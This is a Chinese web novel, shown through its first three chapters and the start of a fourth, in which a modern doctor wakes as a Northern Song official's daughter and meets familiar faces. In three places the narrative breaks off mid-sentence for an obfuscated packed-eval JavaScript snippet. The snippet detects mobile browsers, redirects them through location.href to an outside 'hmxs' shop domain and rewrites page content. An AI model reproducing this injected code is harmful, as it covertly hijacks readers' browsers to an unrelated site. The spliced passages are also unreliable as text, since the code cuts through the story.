《故人入平生》 1. 漓临宋梦 今儿是腊月十一,是冬至郊祀的“始斋日”。宅里上下似乎十分看重这个日子,爹爹忙着筹备善后典礼的诸多事宜,光是祭祀乐谱便核对了好几遍,路宅其余的人也没闲着。 已经是来到北宋的第二日了,路漓走心地扮演着这个士大夫家的嫡女,望着窗外的白雪枯树,依旧觉得这一切不可思议,可又似乎一切都是既定事实了? [前天夜里] 芒种刚过,窗外一阵闷雷滚过天际,雨水倾泻如注,仲夏即至。 许是因为窗外起伏的雨声,她有些失眠。不知辗转了多久,路漓才渐渐睡去。 迷迷糊糊中,耳边忽地响起一道虚弱的女声,她反复呻吟着: “救救我!救救我的孩子...我的孩子......” 『这个嗓音好像有点耳熟?』 路漓朝着声源探去,刚走了几步,便见到一名女子青丝半落,蜷跪在地。 那女子垂头抚着自己高高隆起的肚子,一身缟素的衣裳将她衬得更加楚楚可怜。 路漓跑到她身边蹲下道:“你怎么了?!” “求求你...救救...我的孩子......” “你的孩子?!我是针灸科的,你得赶紧去妇产科啊!”路漓连忙扶着她的胳膊:“你先起来找地方坐,我去帮你插个号!”路漓正准备起身,可手腕却被她死死拽住。 她垂头弱声道:“你愿意...帮我吗?” 路漓不假思索道:“当然!我当然会帮你!快放开我,你的情况不能再耽误了!”话音未落,腕上的抓力忽然消失,那女子径直倾身,倒在了路漓怀里。 “喂!你醒醒!”路漓侧头喊道:“这里有个孕妇不行了!快来救人啊!”回头时,路漓终于看清了怀中女子的容貌,可眼前所见却让她大惊失色。 路漓嘴唇翕动,方欲说些什么,身边猛地传出一个撕心裂肺的声音:“英儿!!” 霎时,呐喊声渐止,四周已被刺眼白光笼罩得无法视物。 ...... “砰!”耳边传来一声尖锐,打破了路漓的朦胧睡意,她揉了揉惺忪睡眼,缓缓睁开微沉的眼皮。 路漓坐起身,低头捏了捏眉心,尝试回忆方才的梦境,却发现脑中已是一片空白。 移坐到床沿,地上的碎瓷片旁摆着一双粉白色睡鞋,试穿一下,大小倒正好。视线左移,雪光透过窗户,云桁上栖着几件素雅的衣物,琵琶斜靠在转角处,一面铜镜置在窗边的梳妆台上,古典韵味十足。 路漓走上前,随手打开几个精雕细琢的盒子,里面有序地摆着胭脂水粉、珠钗翠环...抬眸只见镜中女子青丝及腰,柳眉微蹙,稚气未消的玉脸上全是疑惑之色。 感觉嘴唇时有灼烧感,路漓下意识碰了碰自己的下唇,一阵剧烈疼痛袭来。环顾四周,屋内陈设摆放得错落有致,目光所及之处无一不令路漓感到陌生。 “我是...没睡醒?在做梦吗?”镜中女子垂头闭目双手扶额,嘴里呢喃着。 “小娘子!你醒啦!太好了!” 这声惊叹可把路漓吓得不轻,差点没从圆凳上折下去。转头只见一女子端着药碗,脸上难掩喜色。一袭紫色衣裙,看上去略是十七、八岁的样子。 “小娘子,你摔马后昏睡了一天一夜,怎么叫都叫不醒,把我和丁兰吓坏了!”女子将药碗端到路漓面前,“小娘子,这药虽是有些苦,但对清热止痛有奇效,等会伤处再抹些化瘀膏,咱们双管齐下!” “......”路漓努力地用自己刚开机不久的大脑,将她话中的信息进行提取整理。 最后得出结论:『所以我应该是这家的小姐,我下唇的伤是因为摔马?嗯!合理!但是...不对啊,这个伤明明是初三毕业那个暑假弄的,现在看上去就跟一颗痣一样,怎么会是前天伤的?难道...我穿越了?穿越到了十年前?而且还是古代版?!不会这么离谱吧...?』 『如果...真是穿越了,那么我是谁?她和丁兰又是谁?还有我爸妈,以及...』 “小娘子,你怎么不说话呀?” 感觉眼前有什么东西在晃,路漓回过神儿来,接过碗一饮而尽。那女子关上房门,取下一旁的雪篷,轻轻披在路漓的肩上。 “小娘子你......” 见眼前女子一双眼睛瞪得溜圆,路漓疑惑道:“怎么了?” “小娘子不觉得药苦吗?之前每每喝药时,都得叫我们费好一番唇舌,连哄带骗的,小娘子才肯勉强喝几口,今日喝得如此干脆利落,属实是难得一见啊!” 『这样看来,这副小姐身子的原主人,心中倒是没什么城府,扮起来应该不难。这丫头一直管我叫小娘子,似乎是...唐宋时期的称呼吧?哎呀记不清了...不过当下,最紧要的是得弄清楚这家里各个人物的名字、地点以及朝代的名称。』 路漓将自己的语言模式切换成“古装剧版”,对其进行了一番详细“拷问”。 拷问得知:这丫头名唤丁芷,与她姐姐丁兰都是打小随侍在小娘子身侧的,三人十分亲近,可谓是无话不谈,形影不离。 据丁芷所述:今年是太平兴国九年,在位者乃是宋太宗赵炅。(每次听到这个名字,总会莫名想到驴车...) 路宅主母沈玉玟为人公正,端庄娴雅,虽是续弦,但路宅上下都对她很是敬重。 主人路万川原是苏州的知州,可谓是饱读诗书,才气纵横,后经温中丞举荐,任了太常寺少卿。路漓的闺名便是他取的,选用了《进学解》中“沉浸醲郁,含英咀华”的“含英”二字,意为读书时须体味文章之精华。 路宅第一任主母乃是路漓的生母,姓江,名意清,喜研医书,极擅药理。自七年前与路万川和离后便云游四海,不知去向。 『初听时我震惊不已,因为这一家三口竟与我和我爸妈的姓名一般无二,就连喜好也别无二致!包括我八岁时父母离婚,三年后我爸和沈玉玟再婚...这究竟是怎么回事?难道他们也穿越了?还是恰巧同名同姓?亦或是...平行时空的我们?』 (咚咚咚...) 丁芷开门道:“丁兰,何事?” 丁兰笑道:“乔郎君来探望小娘子了,现下已在茶室候着了。” 丁芷会心一笑道:“我们来服侍小娘子梳妆。” 乔翊是路漓的姨表兄,长她一岁,其母是路漓生母的嫡妹。许是因为其父是礼部侍郎,所以两家至今依旧有往来。 路漓见镜中丁芷笑容愈发灿烂,不解道:“丁芷你乐什么呢?”只见丁兰轻碰了一下丁芷的手肘,丁芷笑容随即收敛道:“没什么!” 片刻后,丁芷:“好啦,大功告成,小娘子真是生的一副好模样!”丁兰接道:“是天生的美人胚子呢!” 望见镜中女子已梳上了同心髻,发髻前配了茉莉花簇带,两旁缀着缠花缉珠发饰,很是清雅。路漓不禁在心中赞扬道:『你们俩才是生得一双巧手啊!』 路漓带上面纱道:“走吧,你们随我同去。”姐妹俩对视一眼,笑道:“喏!” 他背影挺立,身上的杏色襕衫轻盈垂坠,衬得他书卷味十足。 丁兰丁芷行了个礼:“乔郎君钧安。” 乔翊闻声回头,路漓连忙仿着二人的动作,垂下双目微微屈膝地行了个礼。 乔翊走上前双手交叉道:“表妹妆安。” 路漓抬眸见到眼前这人的长相时,欣喜之情溢于言表,这可是她醒来后见到的第一个亲人!路漓正欲开口喊“哥”时,乔翊关切问道:“英儿,听闻你前几日摔伤了,伤的重吗?可好全了吗?” 听到这话,面纱下的笑容瞬间消失。眼前的这个人分明长着她表哥的脸,可他记忆中的表妹却是...一个北宋人。 有两种可能——要么他是穿越过来的,但失忆了;要么,他实实在在就是北宋人,是路含英的姨表兄。 “英儿?你没事吧?” 路漓回过神儿来:“还好,不过是几处擦伤罢了,抹抹药过些时日也就好了。” 乔翊面露欣赏:“果然是过了及笄之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620269|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的小娘子,不似从前那般娇气了。” 路漓端出体面的笑容,心想『及笄之年?我在现代都快而立之年了好吗...』 乔翊默了一会儿,略带郑重道:“眼下,离省试还有一个多月,我会继续研习苦读。来日待我金榜题名之时,便请我父亲来提亲。” “提亲?!”路漓错愕不已,怀疑自己耳朵出问题了。 由于面纱的遮挡,乔翊并没有看出路漓脸上的惊诧,紧接着说:“你无须担心,虽说你我两家之间,确有些尴尬,但好在两家的父亲仍是知交,我想他们会应允的。” 路漓一头雾水:“应允什么啊?!” 乔翊握起路漓的手:“自然...是你我的婚事。” 路漓猛地将手抽出:“你开什么玩笑啊?!我们是兄妹啊!!”丁兰丁芷对视一眼,从彼此眼中看到了惊讶。 乔翊显然也有些意外,柔声试探道:“我对你的心意,你是知晓的?” “你...!”路漓惊觉自己正身处北宋朝!是在古代!她一时语塞,不知该从何辩起,要怎样说才能解开这团乱麻呢? 瞧他眼神十分真切,不行!眼下若不严词拒绝,他日必定会更加麻烦。路漓眼神闪过一丝决绝道:“你的心意我自是明白的,可我的心思你却不太明白。” 见乔翊没有接话,路漓乘势追击道:“我对你,绝非男女之情。” “我不明白...自幼时起,你便常常跟随在我身后,有何趣事都会第一时间来与我分享,你还曾说...” 路漓忙打断道:“我乐意追随你,乃是因为把你当成我的大哥,不曾想却让你误会了,我很抱歉。” 乔翊有些难以置信:“大哥?” “不错,今日你既提了此事,我想,有些话我有必要同你讲清楚。由始至终,我都视你为兄长,从前是如此,往后亦然!如若你觉得难以放下,我们还是不要再见面了。”路漓语气坚定,一双眉眼十分严肃。 乔翊的脸上掠过几分苦涩,默了片刻后释然一笑:“是我会错了意,你莫要当真。往后...我仍是你的兄长。” 路漓嫣然浅笑:“永远都会是。” 他披上裘衣后揖了揖手,便朝门外走去。屋外一片冰天雪地,他的背影似乎被衬得有些落寞。 路漓转过身,正好看到身后两人在挤眉弄眼,声音提高道:“你俩干什么呢?” 丁兰丁芷心虚道:“没什么!” 想到自己还未与路宅夫妇打照面,路漓开口道:“对了,醒来后我还未向爹爹和阿...和...母亲请安呢。” 丁兰:“太君染了风寒,主人主母一早便去探望了,见小娘子仍昏迷未醒,便没喊你一道去。” 路漓暗暗松了一口气道:“哦,那便回屋吧。” 路漓小口小口地咬着栗粉糕,抬头望见两人仍在挤眉弄眼,“丁兰丁芷,这儿没外人,你们俩坐下同我一道吃吧。” “喏!”两人坐下后,路漓做了个自认为凶恶的表情,凑近问道:“方才就觉得你俩怪怪的,老实交代,到底——在聊——什么呢?” 丁芷忍不住开口:“小娘子,你今日似乎对那乔郎君格外冷淡?” “有吗?”路漓顿了顿:“从前不是如此吗?” “从前...”丁兰有些欲言又止。 “说下去。” “从前小娘子都唤乔郎君‘天羽哥哥’!每每乔郎君来宅里,小娘子都十分欢喜,怎的今日像是生分了许多?”丁兰一脸疑惑,丁芷则是在一旁点头附和。 天羽?所以他姓乔名翊,字天羽?!所以他不仅是长相与表哥十分相似,两人姓名也是一样的?!如此看来,路宅四人的姓名也并非凑巧。这群人在另一时空再次出现,是偶然?还是命定? 世事循环往复,是否可至新生? --------------------------------------- (古文小课堂:“沉浸醲郁,含英咀华。”出自唐代韩愈的《进学解》) 2. 故人再见(1) 路漓略显疲态应道:“我有些乏了,你们下去吧。” “喏。”丁兰丁芷关上房门后,窃窃私语道:“丁芷,你有没有觉得小娘子今日怪怪的?” 丁芷点头道:“嗯!我端药过去时,小娘子接过碗便一饮而尽!后来还问了我许多问题。你是没见着,那刨根问底的劲儿,倒像是衙门查案的。” 丁兰煞有其事的样子:“如此说来,果真很稀奇!” 路漓望着窗外渐沉的天色,脑中时不时想起那些陈年往事,心中五味杂陈。她第一次发现自己原来如此冷漠,她并不在乎何时能回现代,无论是岗位还是家中,有她无她都一样,又有谁会在乎呢?至于她所在乎的,也早已一个个地不在乎了。 可是...去年她遇见了一个人,他好像一道旭日,融化了她心中的冰霜。人们常把开朗当做灵丹妙药,把懂事当做理所应当。但他会正视她内心的理智,尊重她内心的矛盾。 本不敢承担一生之诺,可她决心勇敢一回,谁知命运竟让她在答应求婚的一个月后消失得无影无踪,不知此刻,他作何感受? 又或许...现代的她其实并没有消失?路含英可能是存在于平行时空的路漓? 如若,日后他也出现在这里,他是否也会拥有相同的姓名与容貌?可如果性格秉性与行事作风都大不相同,他...还是他吗? 还未见到这里的爹娘,不知他们会细心周到些么?还是会和现代的爸妈一样,若无其事地当甩手掌柜。 如若一切人是物非,往后...又当如何? 这夜,路漓辗转反侧,一夜难眠。 [翌日] 闺房内,丁芷晃了晃榻上女子的薄肩,轻声道:“小娘子。” 路漓迷迷糊糊听到声音,慵懒应道:“几点了...让我再睡会儿...” “小娘子,该醒醒了。” 听清“小娘子”三个字后,路漓惊醒起身环视四周,缓道:“现下什么时辰?” 一旁的丁兰递来手巾:“卯时了。” 『卯时?真要命,这比在医院上班起得还早啊...』路漓抹了抹脸,无奈道:“哦,那梳妆吧。” 镜前,路漓拿起丹砂纸,丁芷忙道:“小娘子!今儿是腊月十一,不宜浓抹。” 『腊月十一?有何特别吗?』镜前女子正想着,一妇人敲门而入,白帛微垂,墨袖银冠。 来人使了个眼色,丁兰丁芷上前行礼:“婢告退。” 她遂走近道:“昨日回得晚没顾上问,你的伤可还疼吗?” 路漓移开视线,起身弯膝道:“母亲万福。” 她双眼闪过停顿:“这么多年...你还是第一次这么唤我。” 眼前人神情似是动容,路漓莫名有些心虚。她会这么喊,一是因为知道爹爹如今负责太常寺兼礼院事务,对内必定更加严明礼法。她这个天外来客,又何必自讨没趣。 二则,乃是她一直觉得后妈、继母之类的叫法很是难听,而北宋又没有称呼后母为阿姨的习惯,属实无奈啊。 沈玉玟将手中书册放到桌上:“含英,这些是按你素日喜好新拣的,一会儿习诵完《列女传》,闲暇时可慢慢赏阅。” 路漓始终垂眸:“多谢母亲。” 早食后,路漓翻开《列女传》,双瞳瞬间扩张。虽说她有些书法的童子功,但也经不住这大段的繁体字成片出现。仅粗扫了几眼,便没了兴趣。 她百无聊赖地将桌上那摞书一一平铺,随手拿起《才调集》翻阅。看着熟悉的人名一个个地出现,路漓有种梦回语文课的感觉。边猜边背的,竟也被她消磨掉了半个多时辰。 抬头看见在窗边忙活的二人,她问道:“你俩撒什么呢?” 丁兰道:“这是桃枝煮的水,来了东京之后才晓得,这始斋日不仅要撒桃水,还要煎香汤、煮三白饭呢。” 路漓有些共情:“看来今日,厨室有的好忙了。” 丁芷手里停下道:“小娘子,你今日也有诸多安排哦。” 路漓好奇道:“我?” 丁芷点头:“嗯!缝素帷、制腊花、抄祭文、随祠礼...哦对了,睡前还得默诵《女论语》。这些都是主母特意叮嘱的。” 路漓若有所思:“主母可还说了什么?” 丁兰接道:“主母还说,这是主人任太常少卿后的第一个始斋日,宅里上下务必有条不紊,万不能被抓住纰漏。” 『正所谓一人升官,举家忙碌。要做这少卿家的主母着实不易,事无巨细皆需妥善打理。不过,她倒做得很是井井有条。』 当然,要做这少卿家的小娘子也不易,这些个安排简直把她折腾的够呛!直到夜里,这忙碌的一天才算是过去了... 亥时,榻边两人正熏艾整褥,一旁的路漓捧着书伏在案前,任自己的上下眼皮“殊死搏斗”。 “小娘子,今日整理时,从柜里翻出个锦盒。上头已经落灰了,里面可有什么重要物件吗?” “拿来给我吧,你们也累了一天了,下去歇息吧。” 路漓掸了掸锦盒上的蒙尘,打开见到两册医书:“是《素问》和《千金要方》的针灸卷?竟还都是手抄本!也对,现在活字印刷术尚未形成,雕版印刷术又成本颇高,难怪了。” 『路宅里懂医术的人只有...想必,是她离家时落下的。复习复习也好,毕竟在古代,官位俸禄都是皇帝一句话。万一日后家道中落,好歹还有一技傍身。』 ----------------------------------- 半个月过去了,路漓整日里不是看医书,便是抄诗文。 因不知宅里众人,对琵琶声的包容度有多少,她至今没碰过琵琶。毕竟有前车之鉴,她可不希望,在这也像在现代一般,打小就被家里人冠上扰民的“罪状”。 路漓举起宣纸,撇了撇嘴:“想重拾童子功,还真是不轻松。” “梦吴越...”丁兰扫了一眼案上的宣纸,关切道:“小娘子,你可是想念苏州了吗?” 苏州?那是她生活了二十五年的地方。虽说打小跟着祖父母,她好像没有真正开心过。但从此家乡远隔,心中确无惦念吗?她不知道。 两姐妹对了个眼神,遂道:“我俩要外出采买,小娘子可愿与我们同去?” 路漓泛起喜色:“我可以吗?”『还以为来了古代,每日就只能宅在屋里数蘑菇了。』 丁芷打趣道:“小娘子怪会说笑,从前偷溜出去的还少吗?” 丁兰掩面一笑:“放心,已向主母请示过了。小娘子只需扮个男装,由我俩护着即可。” “嗯!”路漓笑靥如花,已等不及想一睹这东京城的繁华了。 集市上,一俊俏少年郎信步向前,玉冠白裘,风度翩翩,身后跟着两个随从。 街边大小商铺紧挨排列,吃、穿、用、玩,应有尽有。车来人往,耳边时不时传来几声小贩的吆喝声,当真是一派热闹之景。 『早前听老师说,这东京城内是如何车水马龙,今日一见果真名不虚传。只可惜...如此繁荣景象却终是逃不过衰败的结局。』想到这,路漓的惋惜之情油然而生。 『不过,衰败也是一百多年后的事情。只需活好当下,何必无谓烦忧呢?』 见不远处人群扎堆,路漓疑惑道:“他们挤在那看什么呢?” 丁兰顺着她指的方向看去:“许是...有新的官员调动吧?” 路漓对身后道:“走,咱们也去瞧瞧。” 走近一看,榜文上公示着欠缴名单以及新上任的——浚仪知县。 “章桓?!”路漓目不转睛地盯着那个熟悉的名字。 丁芷轻声道:“小郎君,这儿人多,我们还是走吧。” 三人继续往前,路漓有些心不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620270|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焉:『在现代他长我三岁,如今应该只有十八岁,竟已做了知县?』 “到了!”丁芷:“大夫,劳烦配些三清化瘀膏。” 那人放下手中毫笔,拿起桌上的方子转身进屋。 路漓抬头望见匾额上写着四个大字:“江郎材尽?这药铺的名字倒是独树一帜啊。” “我这儿的药材也是独树一帜,不过,这价钱也是别具一格的。”他提着两个药包不紧不慢地走出来。 “黄杨?”路漓定睛一看,眼前人正是她的上班搭子,竟也出现在了此处。究竟还有多少熟人要冒出来?难不成,要凑一本“北宋亲友录”吗? 黄杨打量了一番,猛地反应过来:“你是...路!” “嘘!”路漓连忙打断,冲他摇了摇头。 黄杨将药包递给她身后的随从:“这药不用给钱了。” 路漓眼神示意,丁兰随即掏出两贯钱放在了桌上。路漓将钱推了推:“你若是不收钱,我日后可不敢来你这儿了。” “也罢,我就恭敬不如从命了。”他将钱收好后,拿起锁在门前鼓捣。 路漓见状:“才不到午时,你便关铺打烊了?我看,你不是‘江郎材尽’而是‘江郎财尽’——钱财的财吧?” “今日旧友重逢,已是无价之财。”他转身双手交叉道:“午来天欲雪,能饮一杯无?” 路漓有模有样地回礼道:“那我便以茶当酒,敬旧友。” 黄杨会心一笑:“前边有个不错的茶坊名唤‘月满楼’,不如就去那儿?” 路漓:“甚好。” 丁兰行礼道:“小郎君,那我俩先去采买,随后茶坊会合。” “嗯。”四人分道而行。 “小二,一碟桂花糕,一壶水月茶。”黄杨翻了翻:“再来一碟栗粉糕和梅果子。” 他将茶牌递向对面,路漓接过后直接拿给小二道:“我爱吃的已经点了,就这些吧。” 不一会儿,桌上已摆了几道精致的茶点。 茶香袅袅间,路漓举杯道:“我敬你一杯。”黄杨挑了下眉:“如此客气?” 『因为你不仅是路含英的旧友,也是我在医院的“战友”。』路漓神态自若:“我们许久未见了。” “五年了,当真是许久了。不知师父她...如今云游到何处了,可还安好?”黄杨喝了口茶,心头颇有感触。 『师父?黄杨曾说过,他大学时是我妈班里的学生。莫非...江郎材尽的‘江’乃是江意清的‘江’?』 路漓蹙眉不语,黄杨忽然意识到什么,话锋一转道:“我瞧你唇上这伤可不轻,怕是以后要落疤了。” 这点她自然晓得,云淡风轻道:“落疤就落疤呗,有什么打紧的。” 黄杨低声打趣道:“破相了,当心以后嫁不出去啊。” “那又如何?人又不是一定要嫁娶的,有人相伴固然好,可是一个人照样也能过得很好啊。”话刚说出口,路漓便反应过来,自己方才的言论可能有些前卫了。 她掩去眸中波澜,强装淡定地抿了抿茶。 黄杨不禁失笑:“你这番说辞,倒是‘独树一帜’啊。”他视线忽然停在门口:“诶,你瞧那边。” 转头望去,门口那人掸了掸身上的浮雪,身后小厮将油纸伞收起,随他缓缓走到桌前落座。他的一双眼睛虽生得清冷,但交谈之间,却又让人觉得如沐春风。 路漓眼波轻漾,收回视线道:“那人是谁?” 黄杨悠闲地咬了口桂花糕:“他你都不晓得,正是刚刚走马上任的浚仪知县。” 路漓试探道:“章桓?” ------------------------------ (古文小课堂:“梦吴越”节选自唐代李白的《梦游天姥吟留别》。 “午来天欲雪,能饮一杯无?”改自唐代白居易的《问刘十九》。) 3. 故人再见(2) 黄杨略带玩味:“你认不出他,竟晓得他的姓名?” “刚从榜文上看的。”路漓自如应对道。 见路漓视线又飘向了那边,黄杨伸手晃了晃,小声道:“怎么?莫不是瞧上他了吧?” 路漓拍掉面前的手:“这么多糕点,还堵不住黄杨大夫的嘴啊。”她垂下视线,咬了几口栗粉糕,转道:“说说你吧,你是何时来东京的?” “我也刚来没多久,本以为定价高昂,药铺定是门可罗雀。却不曾想,这东京城内,有的是人慧眼识珠。”黄杨双手抱胸,语气微扬。 路漓笑道:“物有所值,何愁前路无知己呢?” “一朝金多结豪贵,万事胜人健如虎。值与不值,所为何?”黄杨有些黯然。 『古代果真是“吃人”的,任凭再爽朗的人来此处,也生出许多愁苦来。不对...或许他本就是这个时空的人,并非是我在现代认识的黄杨。那么我呢?是路漓?还是路含英?』她有些愣神。 黄杨缓道:“你是否很好奇,我为何要离开苏州?” “每个人做事皆有他的道理,你既不愿多说,我也无须多问。” 黄杨先是顿了顿,遂道:“你说得对,何愁前路无知己呢?我敬你。” 二人含笑举杯,相对啜茶。 “小心!” 黄杨闻声之际,将手中茶杯飞向左侧。空中一声尖利碰撞,两只茶杯瞬间化为碎片砸到地上,引得众人纷纷侧目。 “黄大夫真是好雅兴,不知这兜子里揣了多少了?”那人转着扳指,大摇大摆地走过来,身后跟着的人一个比一个面恶。 路漓看向那群人,直觉来者不善。 “我这兜子里,自是揣着正道之财。”黄杨看着他,笑容略带深意。 听了这话,路漓瞥了一眼那人手上的扳指,心生一计。 她粗着嗓子:“一向听闻,黄大夫的药铺有许多稀奇药材。故今日特地邀他一同品茶。本希望能以个好价钱,为家中的奇货居添砖加瓦,谁想这黄大夫竟是个不识趣的!愣是将这买卖活活推了,我也不好强人所难。” 黄杨瞪大双眼,一时没看懂这小娘子唱的是哪出戏。 路漓面向一旁:“我瞧着,这位仁兄手上的扳指,色泽剔透,真乃上品。不知是什么价钱,鄙人很想接手。”她一本正经地作了个揖。 不远处的蓝色身影细嗅茶香,饶有兴致地看着这边。 那人不屑道:“哼,我愿卖,只怕你买不起。” 路漓浅笑道:“你不妨开个价?” “十七贯钱!” 听到这价钱,在座茶客一片哗然。 路漓故作惊讶道:“我瞧你这扳指,左不过五贯钱。你也是生意人,怎的漫天要价?” “你这不识货的小子,睁大你的眼睛看清楚,我这扳指可是上好的玛瑙打造的!” “哇,方才便觉得仁兄气度非凡,想必汝父定是富甲一方吧?”路漓的嘴角愈发上扬。 那人满脸自豪道:“家父远在汉中,我的钱财都是自己挣来的!” 路漓目光熠熠:“自己挣来的?还是...自己坑来的?” 那人眼中闪过慌乱:“你这臭小子,给我打!”黄杨抚上腰间欲出手。 “住手!”只见说话人翻身而来,伸手护住身后。 “经查,杂药坊掌柜贾仁与其同伙三人,共计贩卖私盐二十五斗,私运酒曲十六斗,其雇工均已招供!根据《宋刑统》:诸私贩盐者,一斗徒三年。诸私运酒曲者,五斗流三千里,家产籍没!” 他举起文书,隐在蓝裘下的绿色官服露出了半截,遂道:“汝等,被逮捕了!” 贾仁欲逃跑却被章桓一把擒住,一行人立即被馆内的便衣捕快押了出去。 章桓侧眸正好与身旁目光对上,四目相对之际,那小郎君迅速移开了视线。 黄杨看看旁边,又看看对面,心生好奇。 茶主见状,忙出来赔笑道:“各位,这出戏甚是精彩!小馆自愿赠与每桌茶客,一碟新品果子,与尔同乐!” “好!”茶客们鼓掌欢呼,而后继续谈笑品茶。 “妙哉妙哉!”黄杨揖了揖手:“鄙人,多谢小郎君搭救。” 路漓挥手道:“客气个啥,举手之劳而已。” 黄杨眸光明亮:“士别三日,当刮目相待啊。你不再是当年那个,跟在母亲身后的小孩了。” 路漓体面一笑,心想:『这小娘子实在有趣得很,一会跟在母亲身后,一会跟在表兄身后,像个小跟屁虫。』 “那位...还好相处吗?” 路漓面色淡然道:“整日抬头不见低头见的,若是不好相处,岂不早就闹翻天了吗?” 黄杨若有所思:“确实,会闹得天翻地覆...” 路漓好像有些明白,他为何会来东京了,道:“若是为了事而闹,便调解事。若是为了闹而闹,那便调解人。若是无力调解,那便省些力气。” 黄杨看向她的眼神愈发认真,轻笑道:“就像你今日这样?” 留意到两人这番对话,章桓愈发起了兴趣,眼里生出些许欣赏。 “时辰也差不多了,我该回去了,下次再聚。”路漓起身,与门外二人一道离去。 黄杨目送她离开时,见章桓也正侧望着门口,心中疑惑更深。 他上前叉手道:“明府。” 章桓收回视线,抿了口茶:“何事?” 黄杨走到对面坐下:“也不是什么要紧事,只是小人有一问题甚是费解,还想请教章知县。” 章桓眉梢轻挑:“黄大夫请问吧。” 黄杨戏谑道:“不知这《宋刑统》中,有没有提到偷听偷窥者,该以何罪论处啊?” “论罪,还须讲究真凭实据。若有诽谤诬告者,轻则杖刑,重则流放。”章桓指腹摩挲着杯壁,气定神闲地看向对面。 “哦,原来如此,小人受教了。”黄杨起身揖手道:“您请慢用吧。” “去查一下这两个人。” “喏。” 申时,路漓行礼道:“爹爹,母亲,我吃好了,想先回屋了。” “含英...” 路漓转身道:“爹爹有什么事吗?” 路万川顿了顿:“之前你说琵琶的弦旧了,我已遣人在制新的了。” 『之前?那就是在我来这儿之前咯?果然,只要是碰上我的事,你的办事效率都会慢如龟爬。』路漓眼神微闪,颔首道:“多谢爹爹,还有什么事吗?” “...没有了。” 路漓微微弯膝:“那我便回屋了。” “玉玟,你有没有发觉?含英愈发沉稳内敛了。” 沈玉玟点了点头:“礼数周全,也不似从前那般爱使小性子了。” 路万川微露忧色:“这些日子,似乎鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620271|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少听她拨弦唱歌,人也安静了许多。是不是,我上次说得过分了?” 沈玉玟宽慰道:“夫君宽心,父女哪有隔夜仇呢?我们刚到东京不久,多少双眼睛盯着宅里,多少人想抓住你的错处。你也是顾全路家,她不会放在心上的。” “她如此客气有礼,倒是觉着与我疏远了不少。” 沈玉玟将他的外袍垂到云桁上:“她已过了及笄之年,自当一年比一年成熟懂事。再有几日便到岁首了,届时你们好好谈谈,这心结也就解了。” 路万川喟然道:“她与我的心结又何止这一个呢?” 沈玉玟柔声道:“你看这样好不好?岁除和元夕时,且让她出去赏玩赏玩,心情愉悦了,心里的郁结也好松一松。” 路万川默了一会,道:“我也是担心她性子太活,乔装外出原也没什么。怕就怕,万一惹出什么乱子,后果不堪设想啊。” 沈玉玟抚上他的肩:“夫君多虑了,这段时间她在家养伤,性子也养得稳重了许多。瞧她如今待人很有分寸,处事也颇有章法,俨然是个大人模样了。” 路万川目光远眺:“也是时候,为她择一门适宜的亲事了。” “...为时尚早吧?” “有些事,还需早做打算呐。” 沈玉玟垂下眼眸没有回答。 路漓关上门,小声问道:“你们如何寻到那家药铺的?” 丁芷答道:“上次小娘子摔马时,来看诊的大夫推荐那家的化瘀膏,我们便去买了几包。” “哦,你们可知那铺子开了多久了?” 丁兰歪着脑袋想了想:“好像...是今年才开的,不过听说生意不错,有不少达官贵人家的也会光顾。” “今年?”路漓心中有了几分猜想。 丁芷俏皮一笑:“那位大夫,是从前跟着江主母学医的小郎君吧?” 丁兰恍然大悟道:“原来是他呀!印象里,他不是个小胖子吗?怎么如今瘦成这样了?看起来倒是潇洒了许多。” 『看来我猜的没错,黄杨果然是娘的徒弟,丁兰丁芷也是见过他的。爹娘和离七年,可为何黄杨说他与我五年没见?难道,娘是五年前离开苏州的?』 姐妹俩对了个眼神,丁芷双眼放光道:“小娘子,你们许久未见,想必...在茶坊定有一番长谈吧?” 见对面两人皆是一脸“坏笑”,路漓瞬间悟到了她们的心思,道:“你俩想什么呢,他只是我的同事。” “同事??” “额,我是说...我与他只是朋友而已。” 闻听此话,对面两张笑脸,顿时像泄了气的皮球一般。 回想今日所见,丁兰出声道:“对了,先前看茶坊被押出去了一帮人,他们没找小娘子麻烦吧?” 路漓犹豫了一下,囫囵道:“没有,恰好碰到章知县捉歹人罢了。” --------------------------------------- (古文小课堂: “一朝金多结豪贵,万事胜人健如虎。”出自唐代高适的《杂曲歌辞·行路难二首》。 “何愁前路无知己”改自唐代高适的《别董大二首》。 “诸私贩盐者,一斗徒三年。诸私运酒曲者,五斗流三千里,家产籍没”改自《宋刑统》。 "士别三日,当刮目相待"出自《三国志·吴志·吕蒙传》。) 4. 回首灯火处(1) “是咱们在榜文上见到的新知县吗?” 